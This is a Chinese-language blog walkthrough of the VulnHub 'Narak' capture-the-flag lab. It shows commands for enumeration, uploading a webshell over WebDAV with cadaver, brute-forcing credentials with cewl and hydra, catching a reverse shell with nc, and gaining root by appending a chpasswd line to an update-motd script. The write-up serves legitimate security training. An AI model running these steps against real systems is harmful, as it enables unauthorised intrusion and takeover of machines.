VulnHub — NARAK

Description

Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.

Objective: Find 2 flags (user.txt and root.txt)

nmap 扫出来靶场ip 和开放端口 

 

 浏览器访问 ,一堆这个关于题目背景的地狱图片 ,没有什么信息

 扫描一下目录 ,dirsearch 和 dirb都用了一下 ,dirmap倒是没出来

访问webdav 有东西 

 

cadaver  —— webdav客户端使用  


cadaver http://192.168.164.130/webdav   //连接

put webshell.php  //上传

 

cewl —— 爬行网站创建密码字典

通过爬取网站获得关键词信息,创建一个密码字典

cewl http://192.168.164.130/ -w 1.txt

 hydra —— 爆破神器,支持众多协议的自动化爆破

hydra -L 1.txt -P 1.txt 192.168.164.130 http-get /webdav 

-L 用户名      -P 密码    ip地址           协议     路径

爆破出 用户名密码了,就可以cadaver 进行连接了 

 连接上,可以 put 一个 webshell ,成功后

 nc ——监听

nc -lvvp 4444(webshell设置端口)

然后用刚才的用户名密码 登录这个webshell

 发现nc 成功连接靶机,可以输入命令了 

已经反弹shell ,执行下面命令进入python交互式 

python3 -c 'import pty;pty.spawn("/bin/bash")'

这样的话,页面就好看一些了 

 

 BrainFuck 解码后:chitragupt  (应该是某用户的密码)

用ssh 远程登录 尝试

 成功拿到flag1

motd 提权

原理:修改文件 /etc/update-motd.d/00-header

1, 进入到文件夹 /etc/update-motd.d/
2, 修改文件 echo "echo 'root:123456'|sudo chpasswd">>00-header
3, 重新登陆
4, su root

 前两条命令输入,没反应,就可以重新登陆了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值